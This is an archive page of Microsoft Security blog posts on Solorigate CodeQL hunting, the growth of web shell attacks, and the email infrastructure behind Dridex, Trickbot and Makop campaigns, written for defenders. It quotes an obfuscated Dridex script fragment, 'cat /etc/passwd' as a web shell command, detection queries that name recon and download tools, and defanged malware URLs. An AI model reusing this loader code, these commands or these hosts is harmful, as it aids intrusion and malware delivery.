Archive

Archive for the ‘Microsoft security intelligence’ Category

Microsoft open sources CodeQL queries used to hunt for Solorigate activity

February 25th, 2021 No comments

A key aspect of the Solorigate attack is the supply chain compromise that allowed the attacker to modify binaries in SolarWinds’ Orion product. These modified binaries were distributed via previously legitimate update channels and allowed the attacker to remotely perform malicious activities, such as credential theft, privilege escalation, and lateral movement, to steal sensitive information. The incident has reminded organizations to reflect not just on their readiness to respond to sophisticated attacks, but also the resilience of their own codebases.

Microsoft believes in leading with transparency and sharing intelligence with the community for the betterment of security practices and posture across the industry as a whole. In this blog, we’ll share our journey in reviewing our codebases, highlighting one specific technique: the use of CodeQL queries to analyze our source code at scale and rule out the presence of the code-level indicators of compromise (IoCs) and coding patterns associated with Solorigate. We are open sourcing the CodeQL queries that we used in this investigation so that other organizations may perform a similar analysis. Note that the queries we cover in this blog simply serve to home in on source code that shares similarities with the source in the Solorigate implant, either in the syntactic elements (names, literals, etc.) or in functionality. Both can occur coincidentally in benign code, so all findings will need review to determine if they are actionable. Additionally, there is no guarantee that the malicious actor is constrained to the same functionality or coding style in other operations, so these queries may not detect other implants that deviate significantly from the tactics seen in the Solorigate implant. These should be considered as just a part in a mosaic of techniques to audit for compromise.

Microsoft has long had integrity controls in place to verify that the final compiled binaries distributed to our servers and to our customers have not been maliciously modified at any point in the development and release cycle. For example, we verify that the source file hashes generated by the compiler match the original source files. Still, at Microsoft, we live by the “assume breach” philosophy, which tells us that regardless of how diligent and expansive our security practices are, potential adversaries can be equally as clever and resourced. As part of the Solorigate investigation, we used both automated and manual techniques to validate the integrity of our source code, build environments, and production binaries and environments.

Microsoft’s contribution during Solorigate investigations reflects our commitment to a community-based sharing vision described in Githubification of InfoSec. In keeping with our vision to grow defender knowledge and speed community response to sophisticated threats, Microsoft teams have openly and transparently shared indicators of compromise, detailed attack analysis and MITRE ATT&CK techniques, advanced hunting queries, incident response guidance, and risk assessment workbooks during this incident. Microsoft encourages other security organizations that share the “Githubification” vision to open source their own threat knowledge and defender techniques to accelerate defender insight and analysis. As we have shared before, we have compiled a comprehensive resource for technical details of the attack, indicators of compromise, and product guidance at https://aka.ms/solorigate. As part of Microsoft’s sweeping investigation into Solorigate, we reviewed our own environment. As we previously shared, these investigations found activity with a small number of internal accounts, and some accounts had been used to view source code, but we found no evidence of any modification to source code, build infrastructure, compiled binaries, or production environments.

A primer on CodeQL and how Microsoft utilizes it

CodeQL is a powerful semantic code analysis engine that is now part of GitHub. Unlike many analysis solutions, it works in two distinct stages. First, as part of the compilation of source code into binaries, CodeQL builds a database that captures the model of the compiling code. For interpreted languages, it parses the source and builds its own abstract syntax tree model, as there is no compiler. Second, once constructed, this database can be queried repeatedly like any other database. The CodeQL language is purpose-built to enable the easy selection of complex code conditions from the database.

One of the reasons we find so much utility from CodeQL at Microsoft is specifically because this two-stage approach unlocks many useful scenarios, including being able to use static analysis not just for proactive Secure Development Lifecycle analysis but also for reactive code inspection across the enterprise. We aggregate the CodeQL databases produced by the various build systems or pipelines across Microsoft to a centralized infrastructure where we have the capability to query across the breadth of CodeQL databases at once. Aggregating CodeQL databases allows us to search semantically across our multitude of codebases and look for code conditions that may span between multiple assemblies, libraries, or modules based on the specific code that was part of a build. We built this capability to analyze thousands of repositories for newly described variants of vulnerabilities within hours of the variant being described, but it also allowed us to do a first-pass investigation for Solorigate implant patterns similarly, quickly.

We are open sourcing several of the C# queries that assess for these code-level IoCs, and they can currently be found in the CodeQL GitHub repository. The Solorigate-Readme.md within that repo contains detailed descriptions of each query and what code-level IoCs each one is attempting to find. It also contains guidance for other query authors on making adjustments to those queries or authoring queries that take a different tactic in finding the patterns.

GitHub will shortly publish guidance on how they are deploying these queries for existing CodeQL customers. As a reminder, CodeQL is free for open-source projects hosted by GitHub.

Our approach to finding code-level IoCs with CodeQL queries

We used two different tactics when looking for code-level Solorigate IoCs. One approach looks for particular syntax that stood out in the Solorigate code-level IoCs; the other approach looks for overall semantic patterns for the techniques present in the code-level IoCs.

The syntactic queries are very quick to write and execute while offering several advantages over comparable regular expression searches; however, they are brittle to the malicious actor changing the names and literals they use. The semantic patterns look for the overall techniques used in the implant, such as hashing process names, time delays before contacting the C2 servers, etc. These are durable to substantial variation, but they are more complicated to author and more compute-intensive when analyzing many codebases at once.

Sample technique from implant with corresponding CodeQL query

By combining these two approaches, the queries are able to detect scenarios where the malicious actor changed techniques but used similar syntax, or changed syntax but employed similar techniques. Because it’s possible that the malicious actor could change both syntax and techniques, CodeQL was but one part of our larger investigative effort.

Next steps with CodeQL

The queries we shared in this blog and described in Solorigate-Readme.md target patterns specifically associated with the Solorigate code-level IoCs, but CodeQL also provides many other options to query for backdoor functionality and detection-evasion techniques.

These queries were relatively quick to author, and we were able to hunt for patterns much more accurately across our CodeQL databases and with far less effort to manually review the findings, compared to using text searches of source code. CodeQL is a powerful developer tool, and our hope is that this post inspires organizations to explore how it can be used to improve reactive security response and act as a compromise detection tool.

In future blog posts, we’ll share more ways that Microsoft uses CodeQL. We’ll also continue open-sourcing queries and utilities that build upon CodeQL so that others may benefit from them and further build upon them.

The post Microsoft open sources CodeQL queries used to hunt for Solorigate activity appeared first on Microsoft Security.

Web shell attacks continue to rise

February 11th, 2021 No comments

One year ago, we reported the steady increase in the use of web shells in attacks worldwide. The latest Microsoft 365 Defender data shows that this trend not only continued, it accelerated: every month from August 2020 to January 2021, we registered an average of 140,000 encounters of these threats on servers, almost double the 77,000 monthly average we saw last year.

Figure 1. Web shell encounters on servers

The escalating prevalence of web shells may be attributed to how simple and effective they can be for attackers. A web shell is typically a small piece of malicious code written in typical web development programming languages (e.g., ASP, PHP, JSP) that attackers implant on web servers to provide remote access and code execution to server functions. Web shells allow attackers to run commands on servers to steal data or use the server as launch pad for other activities like credential theft, lateral movement, deployment of additional payloads, or hands-on-keyboard activity, while allowing attackers to persist in an affected organization.

As web shells are increasingly more common in attacks, both commodity and targeted, we continue to monitor and investigate this trend to ensure customers are protected. In this blog, we will discuss challenges in detecting web shells, and the Microsoft technologies and investigation tools available today that organizations can use to defend against these threats. We will also share guidance for hardening networks against web shell attacks.

Web shells as entry point for attacks

Attackers install web shells on servers by taking advantage of security gaps, typically vulnerabilities in web applications, in internet-facing servers. These attackers scan the internet, often using public scanning interfaces like shodan.io, to locate servers to target. They may use previously fixed vulnerabilities that unfortunately remain unpatched in many servers, but they are also known to quickly take advantage of newly disclosed vulnerabilities.

For example, on June 30, F5 Networks released a patch for CVE-2020-5902, a remote code execution (RCE) vulnerability in Traffic Management User Interface (TMUI). The vulnerability is a directory traversal bug with a CVSS score of 9.8 out of a possible 10. Just four days later, on July 4, exploit code was added to a Metasploit module.

Figure 2. CVE-2020-5902 exploit code

The following day, Microsoft researchers started seeing the exploit being used by attackers to upload a web shell to vulnerable servers. The web shell was used to run common cryptocurrency miners. In the days that followed, industry security researchers saw the exploit being broadly used to deploy web shells, with multiple variants surfacing not long after.

This incident demonstrates the importance of keeping servers up to date and hardened against web shell attacks. Web servers are frequently accessible from the internet and can be used by attackers to gain access to a network.

Web shells as persistence mechanisms

Once installed on a server, web shells serve as one of the most effective means of persistence in an enterprise. We frequently see cases where web shells are used solely as a persistence mechanism. Web shells guarantee that a backdoor exists in a compromised network, because an attacker leaves a malicious implant after establishing an initial foothold on a server. If left undetected, web shells provide a way for attackers to continue to gather data from and monetize the networks that they have access to.

Compromise recovery cannot be successful and enduring without locating and removing attacker persistence mechanisms. And while rebuilding a single compromised system is a great solution, restoring existing assets is the only feasible option for many. So, finding and removing all backdoors is a critical aspect of compromise recovery.

And this brings us back to the challenge of web shell detection. As we mentioned earlier, web shells can be generalized as a means of executing arbitrary attacker input by way of an implant. The first challenge is dealing with just how many ways an attacker can execute code. Web applications support a great array of languages and frameworks and, thus, provide a high degree of flexibility and compatibility that attackers take advantage of.

In addition, the volume of network traffic plus the usual noise of constant internet attacks means that targeted traffic aimed at a web server can blend right in, making detection of web shells a lot harder and requiring advanced behavior-based detections that can identify and stop malicious activities that hide in plain sight.

Challenges in detecting web shells

Web shells can be built using any of several languages that are popular with web applications. Within each language, there are several means of executing arbitrary commands and there are multiple means for arbitrary attacker input. Attackers can also hide instructions in the user agent string or any of the parameters that get passed during a web server/client exchange.

Attackers combine all these options into just a couple of bytes to produce a web shell, for example:

Figure 3. Example of web shell code

In the example above, the only readable word in the web shell is “eval”, which can be easy to miss or misinterpret. When analyzing script, it is important to leverage contextual clues. For example, a scheduled task called “Update Google” that downloads and runs code from a suspicious website should be inspected more closely.

With web shells, analyzing context can be a challenge because the context is not clear until the shell is used. In the following code, the most useful clues are “system” and “cat /etc/passwd”, but they do not appear until the attacker interacts with the web shell:

Figure 4. Another example of web shell code

Another challenge in detecting web shells is uncovering intent. A harmless-seeming script can be malicious depending on intent. But when attackers can upload arbitrary input files in the web directory, then they can upload a full-featured web shell that allows arbitrary code execution—which some very simple web shells do.

These file-upload web shells are simple, lightweight, and easily overlooked because they cannot execute attacker commands on their own. Instead, they can only upload files, such as full-featured web shells, onto web servers. Because of their simplicity, they are difficult to detect and can be dismissed as benign, and so they are often used by attackers for persistence or for early stages of exploitation.

Finally, attackers are known to hide web shells in non-executable file formats, such as media files. Web servers configured to execute server-side code create additional challenges for detecting web shells, because on a web server, a media file is scanned for server-side execution instructions. Attackers can hide web shell scripts within a photo and upload it to a web server. When this file is loaded and analyzed on a workstation, the photo is harmless. But when a web browser asks a server for this file, malicious code executes server side.

These challenges in detecting web shells contribute to their increasing popularity as an attack tool. We constantly monitor how these evasive threats are utilized in cyberattacks, and we continue to improve protections. In the next section, we discuss how behavior-based detection technologies help us protect customers from web shell attacks.

How Microsoft helps defend networks against web shell attacks

Gaining visibility into internet-facing servers is key to detecting and addressing the threat of web shells. To tackle challenges in detecting these threats, Microsoft Defender for Endpoint uses a combination of durable protections that prevent web shell installation and behavior-based detections that identify related malicious activity. Microsoft Defender for Endpoint exposes malicious behavior by analyzing script file writes and process executions. Due to the nature of web shells, static analysis is not effective—as we have shown, it is relatively easy to modify web shells and bypass static protections. To effectively deliver protection, Microsoft Defender for Endpoint uses multiple layers of protection through behavior inspection.

Behavior-based blocking and containment capabilities, which use engines that specialize in detecting threats by analyzing behavior, monitor web-accessible directories for any new script file creation. While file creation events alone cannot be treated as suspicious, correlating such events with the responsible process tree can yield more reliable signals and surface malicious attempts. The engine can then remediate the script, neutralizing the primary infection vector. For example, IIS instance (w3wp.exe) running suspicious processes such as ‘cmd.exe /c echo’, ‘certutil.exe’, or ‘powershell.exe’ that result in the creation of script files in web -accessible folders is a rare event and is, thus, typically a strong sign of web server compromise and web shell installation.

Microsoft Defender for Endpoint also detects web shell installation attempts originating from remote systems within the organization using various lateral movement methods. For example, attackers have been observed to drop web shells through Windows Remote Management (WinRM) or use existing Windows commands to transfer web shells over SMB. On the web server, these remote actions are carried by system processes, thus giving visibility into the process tree. System privilege process dropping script files is another suspicious event and provides the behavior inspection engines ways to remediate the script before the attackers can perform any malicious actions.

Behavior-based protection also provides post-compromise defense in scenarios where attackers are already operating and running commands on web servers. Once attackers gain access to a server, one of their first steps is to understand the privilege and the environment they have access to by using built-in reconnaissance commands that are not typically used by web applications. IIS instance (w3wp.exe) running commands like ‘net’, ‘whoami’, ‘dir’, ‘cmd.exe’, or ‘query’, to name a few, is typically a strong early indicator of web shell activity.

IIS servers have built-in management tools used by administrators to perform various maintenance tasks. These platforms surface various PowerShell cmdlets that can expose critical information to the attackers. IIS instances (w3wp.exe) that host various web-facing client services such as Outlook on the web (formerly known as Outlook Web App or OWA) or Exchange admin center (EAC; formerly known as the Exchange Control Panel or ECP) accessing the management platform or executing below cmdlets is a suspicious activity and signifies a hands-on-keyboard attack. The behavior engine monitors execution of such cmdlets and the responsible process trees, for example:

With its behavior-based blocking and containment capabilities, Microsoft Defender for Endpoint can identify and stop behavior associated with web shell attacks. It raises alerts for these detections, enabling security operations teams to use the rich investigation tools in Microsoft Defender for Endpoint to perform additional investigation and hunting for related or similar threats.

Figure 5. Microsoft Defender for Endpoint alerts for behaviors related to web shell attacks

Microsoft 365 Defender and Microsoft Defender for Endpoint customers can also run advanced hunting queries to proactively hunt for web shell attacks:

Look for suspicious process that IIS worker process (w3wp.exe), Apache HTTP server processes (httpd.exe, visualsvnserver.exe), etc. do not typically initiate (e.g., cmd.exe and powershell.exe)

DeviceProcessEvents
| where InitiatingProcessCommandLine has_any("beasvc.exe","coldfusion.exe","httpd.exe","owstimer.exe","visualsvnserver.exe","w3wp.exe") or InitiatingProcessCommandLine contains 'tomcat'
| where FileName != "csc.exe" // exclude csharp compiler
| where FileName != "php-cgi.exe" //exclude php group, fast cgi
| where FileName != "vbc.exe" //exclude Visual Basic Command Line Compiler
| summarize by FileName

Look for suspicious web shell execution, this can identify processes that are associated with remote execution and reconnaissance activity (example: “arp”, “certutil”, “cmd”, “echo”, “ipconfig”, “gpresult”, “hostname”, “net”, “netstat”, “nltest”, “nslookup”, “ping”, “powershell”, “psexec”, “qwinsta”, “route”, “systeminfo”, “tasklist”, “wget”, “whoami”, “wmic”, etc.)

DeviceProcessEvents
| where InitiatingProcessParentFileName in~("beasvc.exe","coldfusion.exe","httpd.exe","owstimer.exe","visualsvnserver.exe","w3wp.exe") or InitiatingProcessParentFileName startswith "tomcat"
| where InitiatingProcessFileName in~("powershell.exe","powershell_ise.exe","cmd.exe")
| where FileName != 'conhost.exe'

Hardening servers against web shells

A single web shell allowing attackers to remotely run commands on a server can have far-reaching consequences. With script-based malware, however, everything eventually funnels to a few natural chokepoints, such as cmd.exe, powershell.exe, and cscript.exe. As with most attack vectors, prevention is critical.

Organizations can harden systems against web shell attacks by taking these preventive steps:

  • Identify and remediate vulnerabilities or misconfigurations in web applications and web servers. Use Threat and Vulnerability Management to discover and fix these weaknesses. Deploy the latest security updates as soon as they become available.
  • Implement proper segmentation of your perimeter network, such that a compromised web server does not lead to the compromise of the enterprise network.
  • Enable antivirus protection on web servers. Turn on cloud-delivered protection to get the latest defenses against new and emerging threats. Users should only be able to upload files in directories that can be scanned by antivirus and configured to not allow server-side scripting or execution.
  • Audit and review logs from web servers frequently. Be aware of all systems you expose directly to the internet.
  • Utilize the Windows Defender Firewall, intrusion prevention devices, and your network firewall to prevent command-and-control server communication among endpoints whenever possible, limiting lateral movement, as well as other attack activities.
  • Check your perimeter firewall and proxy to restrict unnecessary access to services, including access to services through non-standard ports.
  • Practice good credential hygiene. Limit the use of accounts with local or domain admin level privileges.

Web shells and the attacks that they enable are a multi-faceted threat that require comprehensive visibility across domains and platforms. Microsoft 365 Defender correlates threat data from endpoints, email and data, identities, and apps to coordinate cross-domain protection. Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365.

 

Detection and Response Team (DART)

Microsoft Defender Security Research Team

 

The post Web shell attacks continue to rise appeared first on Microsoft Security.

What tracking an attacker email infrastructure tells us about persistent cybercriminal operations

February 1st, 2021 No comments

From March to December 2020, we tracked segments of a dynamically generated email infrastructure that attackers used to send more than a million emails per month, distributing at least seven distinct malware families in dozens of campaigns using a variety of phishing lures and tactics. These campaigns aimed to deploy malware on target networks across the world, with notable concentration in the United States, Australia, and the United Kingdom. Attackers targeted the wholesale distribution, financial services, and healthcare industries.

By tracing these campaigns, we uncovered a sprawling infrastructure that is robust enough to seem legitimate to many mail providers, while flexible enough to allow the dynamic generation of new domain names and remain evasive. Shared IP space, domain generation algorithm (DGA) patterns, subdomains, registrations metadata, and signals from the headers of malicious emails enabled us to validate our research through overlaps in campaigns where attackers utilized multiple segments of purchased, owned, or compromised infrastructure. Using the intelligence we gathered on this infrastructure, we were at times able to predict how a domain was going to be used even before campaigns began.

This email infrastructure and the malware campaigns that use it exemplify the increasing sophistication of cybercriminal operations, driven by attackers who are motivated to use malware infections for more damaging, potentially more lucrative attacks. In fact, more recent campaigns that utilized this infrastructure distributed malware families linked to follow-on human-operated attacks, including campaigns that deployed Dopplepaymer, Makop, Clop, and other ransomware families.

Our deep investigation into this infrastructure brings to light these important insights about persistent cybercriminal operations:

  • Tracking an email infrastructure surfaces patterns in attacker activity, bubbling up common elements in seemingly disparate campaigns
  • Among domains that attackers use for sending emails, distributing malware, or command-and-control, the email domains are the most likely to share basic registration similarities and more likely to use DGA
  • Malware services rely on proxy providers to make tracking and attribution difficult, but the proxies themselves can provide insights into upcoming campaigns and improve our ability to proactively protect against them
  • Gaining intelligence on email infrastructures enables us to build or improve proactive and comprehensive protections like those provided by Microsoft Defender for Office 365 to defend against some of the world’s most active malware campaigns

While there is existing in-depth research into some of these specific campaigns, in this blog we’ll share more findings and details on how email distribution infrastructures drive some of the most prevalent malware operations today. Our goal is to provide important intelligence that hosting providers, registrars, ISPs, and email protection services can use and build on to protect customers from the threats of today and the future. We’ll also share insights and context to empower security researchers and customers to take full advantage of solutions like Microsoft Defender for Office 365 to perform deep investigation and hunting in their environment and make their organizations resilient against attacks.

The role of for-sale infrastructure services in the threat ecosystem

We spotted the first segment of the infrastructure in March, when multiple domains were registered using distinct naming patterns, including the heavy use of the word “strange”, inspiring the name StrangeU. In April, a second segment of the infrastructure, one that used domain generation algorithm (DGA), began registration as well. We call this segment RandomU.

The emergence of this infrastructure in March dovetailed with the disruption of the Necurs botnet that resulted in the reduction of service. Before being disrupted, Necurs was one of the world’s largest botnets and was used by prolific malware campaign operators such as those behind Dridex. For-sale services like Necurs enable attackers to invest in malware production while leasing the delivery components of their activities to further obfuscate their behavior. The StrangeU and RandomU infrastructure appear to fill in the service gap that the Necurs disruption created, proving that attackers are highly motivated to quickly adapt to temporary interruptions to their operations.

Graph showing timeline of the Necurs takedown and the staging and operation of StrangeU and RandomU

Figure 1. Timeline of staging and utilization of the email infrastructure

At first, the new email infrastructure was used infrequently in campaigns that distributed highly commodity malware like Mondfoxia and Makop. Soon, however, it attracted the attention of Dridex and Trickbot operators, who began using the infrastructure for portions of their campaigns, sometimes entirely and sometimes mixed with other compromised infrastructure or email providers.

Analyzing these mail clusters provides insight into how human the tangled web of modular attacker infrastructure remains. From unifying key traits in registration and behavior to the simple and effective techniques that the wide variety of malware uses, attackers’ goals in this diversification point toward combatting automated analysis. However, these same shared characteristics and methods translate to insights that inform resilient protections that defend customers against these attacks.

Domain registration and email infrastructure staging

On March 7, 2020, attackers began registering a series of domains with Namecheap using sets of stolen email addresses, largely from free email services like mail.com, mail.ru, list.ru, and others. These domains all had similar characteristics that could be linked back to various similarities in registration. Almost all of the registered domains contained the word “strange” and were under the .us TLD, hence the name StrangeU. The use of .us TLD prevented domain or WHOIS privacy services—often used to obfuscate domain ownership and provenance—which are prohibited for this TLD.

To circumvent tracking and detection of these domains, attackers used false registration metadata. However, there was heavy crossover in the fake names and email addresses, allowing us to find additional domain names, some of which could be tied together using other keywords as shown in the list below, and fingerprint the domain generation mechanism.

The StrangeU domains were registered in early March 2020 and operated in continuous small bursts until April, when they were used for a large ransomware campaign. Following that, a new campaign occurred fairly regularly every few weeks. Registration of new domains continued throughout the year, and in September, the StrangeU infrastructure was used in conjunction with a similar infrastructure to deliver Dridex, after which these domains were used less frequently.

This second mailing segment, RandomU, employed a different DGA mechanism but still utilized Namecheap and showed a more consistent through line of registration metadata than its StrangeU counterpart. This infrastructure, which surfaced in April, was used infrequently through the Spring, with a surge in May and July. After the Dridex campaign in September in which it was used along with StrangeU, it has been used in two large Dridex campaigns every month.

Table listing observed patterns in StrangeU and RandomU infrastructures

Figure 2. Common patterns in domains belonging to the email infrastructure

The StrangeU and RandomU segments of domains paint a picture of supplementing modular mailing services that allowed attackers to launch region-specific and enterprise-targeting attacks at scale, delivering over six million emails. The two segments contained a standard barrage of mailing subdomains, with over 60 unique subdomains referencing email across clusters, consistent with each other, with each domain having four to five subdomains. The following is a sample of malware campaigns, some of which we discuss in detail in succeeding sections, that we observed this infrastructure was used for:

  • Korean spear-phishing campaigns that delivered Makop ransomware in April and June
  • Emergency alert notifications that distributed Mondfoxia in April
  • Black Lives Matter lure that delivered Trickbot in June
  • Dridex campaign delivered through StrangeU and other infra from June to July
  • Dofoil (SmokeLoader) campaign in August
  • Emotet and Dridex activities in September, October, and November

Timeline of campaigns using the StrangeU and RandomU infrastructures

Figure 3. Timeline of campaigns that used StrangeU and RandomU domains

Korean spear-phishing delivers Makop ransomware (April and June 2020)

In early April, StrangeU was used to deliver the Makop ransomware. The emails were sent to organizations that had major business operations in Korea and used names of Korean companies as display names. Signals from Microsoft Defender for Office 365 indicated that these campaigns ran in short bursts.

The emails had .zip attachments containing executables with file names that resembled resumes from job seekers. Once a user opened the attachments, the executables delivered Makop, a ransomware-as-a-service (RaaS) payload that targeted devices and backups.

Upon infection, the malware quickly used the WMI command-line (WMIC) utility and deleted shadow copies. It then used the BCEdit tool and altered the boot configuration to ignore future failures and prevent restoration before encrypting all files and renaming them with .makop extensions.

The second time we observed the campaign almost two months later, in early June, the attackers used a Makop ransomware variant with many modified elements, including added persistence via scripts in the Startup folder before triggering a reboot.

Nearly identical attempts to deliver Makop using resume-based lures were covered by Korean security media during the entire year, using popular mail services through legitimate vendors like Naver and Hanmail. This could indicate that during short bursts the Makop operators were unable to launch their campaigns through legitimate services and had to move to alternate infrastructures like StrangeU instead.

Black Lives Matter lure delivers Trickbot (June 2020)

One campaign associated with the StrangeU infrastructure gained notoriety in mid-June for its lure as well as for delivering the notorious info-stealing malware Trickbot. This campaign circulated emails with malicious Word documents claiming to seek anonymous input on the Black Lives Matter movement.

An initial version of this campaign was observed on June 10 sending emails from a separate, unique attacker-owned mailing infrastructure using .monster domains. However, in the next iteration almost two weeks later, the campaign delivered emails from various domains specifically created with the Black Lives Matter signage, interspersed with StrangeU domains:

  • b-lives-matter[.]site
  • blivesm[.]space
  • blivesmatter[.]site
  • lives-matter-b[.]xyz
  • whoslivesmatter[.]site
  • lives-m-b[.]xyz
  • ereceivedsstrangesecureworld[.]us
  • b-l-m[.]site

Both campaigns carried the same Trickbot payload, operated for two days, and used identical post-execution commands and callouts to compromised WordPress sites.

Once a user opened the document attachment and enabled the malicious macro, Word launched cmd.exe with the command “/c pause” to evade security tools that monitored for successive launches of multiple processes. It then launched commands that deleted proxy settings in preparation for connecting to multiple C2 IP addresses.

Screenshot of malicious document

Figure 4. Screenshot of the malicious document used to deliver Trickbot

The commands also launched rundll32.exe, a native binary commonly used as a living-off-the-land binary, to load a malicious file in memory. The commandeered rundll32.exe also proceeded to perform other tasks using other living-off-the-land binaries, including wermgr.exe and svchost.exe.

In turn, the hijacked wermgr.exe process dropped a file with a .dog extension that appeared to be the Trickbot payload. The same instance of wermgr.exe then appeared to inject code into svchost.exe and scanned for open SMB ports on other devices. The commandeered svchost.exe used WMI to open connections to additional devices on the network, while continuing to collect data from the initial infected device. It also opened multiple browsers on localhost connections to capture browser history and other information via esentutl.exe and grabber_temp.edb, both of which are often used by the Trickbot malware family.

This campaign overwhelmingly targeted corporate accounts in the United States and Canada and avoided individual accounts. Despite heavy media coverage, this campaign was relatively small, reflecting a common behavior among cybercrime groups, which often run multiple, dynamic low-volume campaigns designed to evade resilient detection.

Dridex campaigns big and small (June to July 2020 and beyond)

From late June through July, Dridex operators ran numerous campaigns that distributed Excel documents with malicious macros to infect devices. These operators first delivered emails through the StrangeU infrastructure only, but they quickly started to use compromised email accounts of legitimate organizations as well, preventing defenders from easily blocking deliveries. Despite this, emails from either StrangeU or the compromised accounts had overlapping attributes. For example, many of the emails used the same Reply To addresses that were sourced from compromised individual accounts and not consistent with the sender addresses.

During the bulk of this run, Excel files were attached directly in the email in order to eventually pull the Dridex payload from .xyz domains such as those below. The attackers changed the delivery domains every few days and connected to IP-based C2s on familiar ports like 4664, 3889, 691, and 8443:

  • yumicha[.]xyz
  • rocesi[.]xyz
  • secretpath[.]xyz
  • guruofbullet[.]xyz
  • Greyzone[.]xyz

When opened, the Excel document installed one of a series of custom Dridex executables downloaded from the attacker C2 sites. Like most variants in this malware family, the custom Dridex executables incorporated code loops, time delays, and environment detection mechanisms that evaded numerous public and enterprise sandboxes.

Dridex is known for its capability to perform credential theft and establish connectivity to attacker infrastructure. In this instance, the same Dridex payload was circulated daily using varying lures, often repeatedly to the same organizations to ensure execution on target networks.

During the longer and more stable Excel Dridex campaigns in June and July, a Dridex variant was also distributed in much smaller quantities utilizing Word documents over a one-day period, perhaps testing new evasion techniques. These Word documents, while still delivering Dridex, improved existing obfuscation methods using a unique combination of VBA stomping and replacing macros and function calls with arbitrary text. In a few samples of these documents, we found text from Shakespearean prose.

</ms:script>   
var farewell_and_moon = ["m","a","e","r","t","s",".","b","d","o","d","a"].reverse().join("")   
a_painted_word(120888)   
function as_thy_face(takes_from_hamlet)   
{return new ActiveXObject(takes_from_hamlet)}   
</ms:script>

While Microsoft researchers didn’t observe this portion of the campaign moving into the human-operated phase—targets did not open the attachment—this campaign was likely to introduce tools like PowerShell Empire or Cobalt Strike to steal credentials, move laterally, and deploy ransomware.

Emotet, Dridex, and the RandomU infrastructure (September and beyond)

Despite an errant handful of deliveries distributing Dofoil (also known as SmokeLoader) and other malware, the vast majority of the remaining deliveries through StrangeU have been Dridex campaigns that reoccured every few weeks for a handful of days at a time. These campaigns started on September 7, when RandomU and StrangeU were notably used in a single campaign, after which StrangeU began to see less utilization.

These Dridex campaigns utilized an Emotet loader and initial infrastructure for hosting, allowing the attackers to conduct a highly modular email campaign that delivered multiple distinct links to compromised domains. These domains employed heavy sandbox evasion and are connected by a series of PHP patterns ending in a small subset of options: zxlbw.phpyymclv.phpzpsxxla.php, or app.php. As the campaigns continued, the PHP was dynamically generated, adding other variants, including vary.php, invoice.php, share.php, and many others. Some examples are below.

  • hxxps://molinolafama[.]com[.]mx/app[.]php
  • hxxps://meetingmins[.]com/app[.]php
  • hxxps://contrastmktg[.]com/yymclv[.]php
  • hxxps://idklearningcentre[.]com[.]ng/zxlbw[.]php
  • hxxps://idklearningcentre[.]com[.]ng/zpsxxla[.]php
  • hxxps://idklearningcentre[.]com[.]ng/yymclv[.]php
  • hxxps://hsa[.]ht/yymclv[.]php
  • hxxps://hsa[.]ht/zpsxxla[.]php
  • hxxps://hsa[.]ht/zxlbw[.]php
  • hxxps://contrastmktg[.]com/yymclv[.]php
  • hxxps://track[.]topad[.]co[.]uk/zpsxxla[.]php
  • hxxps://seoemail[.]com[.]au/zxlbw[.]php
  • hxxps://bred[.]fr-authentification-source-no[.]inaslimitada[.]com/zpsxxla[.]php
  • hxxp://www[.]gbrecords[.]london/zpsxxla[.]php
  • hxxp://autoblogsite[.]com/zpsxxla[.]php
  • hxxps://thecrossfithandbook[.]com/zpsxxla[.]php
  • hxxps://mail[.]168vitheyrealestate[.]com/zpsxxla[.]php

In this campaign, sandboxes were frequently redirected to unrelated sites like chemical manufacturers or medical suppliers, while users received an Emotet downloader within a Word document, which once again used macros to facilitate malicious activities.

Screenshot of malicious document

Figure 5. Screenshot of the malicious document used to deliver Dridex

The malicious macro utilized WMI to run a series of standard PowerShell commands. First, it downloaded the executable payload itself by contacting a series of C2 domains associated with Emotet campaigns since July. Afterward, additional encoded PowerShell commands were used in a similar fashion to download a .zip file that contained a Dridex DLL. Additional commands also reached out to a variety of Emotet infrastructure hosted on compromised WordPress administrative pages, even after the Dridex payload has already been downloaded. Dridex then modified RUN keys to automatically start the Dridex executable, which was renamed to riched20.exe on subsequent logons.

We also observed simultaneous connections to associated Dridex and Emotet infrastructure. These connections were largely unencrypted and occurred over a variety of ports and services, including ports 4664 and 9443. At this point the malware had firm presence on the machine, enabling attackers to perform human-operated activity at a later date.

In the past, reports have confirmed Dridex being delivered via leased Emotet infrastructure. There have also been many IP and payload-based associations. This research adds to that body of work and confirms additional associations via namespace, as well as correlation of email lure, metadata, and sender. This iteration of campaign repeated through October to December largely unchanged with nearly identical mails.

Defending organizations against malware campaigns

As attacks continue to grow in modularity, the tactics that attackers use to deliver phishing email, gain initial access on systems, and move laterally will continuously become more varied. This research shows that despite these disparities and the increased resiliency attackers have built, the core tactics and tools that they use are still limited in scope, relying repeatedly on familiar malicious macros, lures, and sending tactics.

Sweeping research into massive attacker infrastructures, as well as our real-time monitoring of malware campaigns and attacker activity, directly inform Microsoft security solutions, allowing us to build or improve protections that block malware campaigns and other email threats, both current and future, as well as provide enterprises with the tools for investigating and responding to email campaigns in real-time.

Microsoft delivers these capabilities through Microsoft Defender for Office 365. Features likes Safe attachments and Safe links ensure real-time, dynamic protection against email campaigns no matter the lure or evasion tactic. These features use a combination of detonation, automated analysis, and machine learning to detect new and unknown threats. Meanwhile, the Campaign view shows the complete picture of email campaigns as they happen, including timelines, sending patterns, impact to the organization, and details like IP addresses, senders, and URLs. These insights into email threats empower security operations teams to respond to attacks, perform additional hunting, and fix configuration issues.

Armed with an advanced solution like Microsoft Defender for Office 365 and the rest of technologies in the broader Microsoft 365 Defender solution, enterprises can further increase resilience against threats by following these recommendations:

  • Educate end users about protecting personal and business information in social media, filtering unsolicited communication, identifying lures in spear-phishing email, and reporting of reconnaissance attempts and other suspicious activity.
  • Configure Office 365 email filtering settings to ensure blocking of phishing & spoofed emails, spam, and emails with malware. Set Office 365 to recheck links on click and delete sent mail to benefit from newly acquired threat intelligence.
  • Disallow macros or allow only macros from trusted locations. See the latest security baselines for Office and Office 365.
  • Turn on AMSI for Office VBA.
  • Check perimeter firewall and proxy to restrict servers from making arbitrary connections to the internet to browse or download files. Turn on network protection to block connections to malicious domains and IP addresses. Such restrictions help inhibit malware downloads and command-and-control activity.

Turning on attack surface reduction rules, including rules that can block advanced macro activity, executable content, process creation, and process injection initiated by Office applications, also significantly improves defenses. The following rules are especially useful in blocking the techniques observed in campaigns using the StrangeU and RandomU infrastructure:

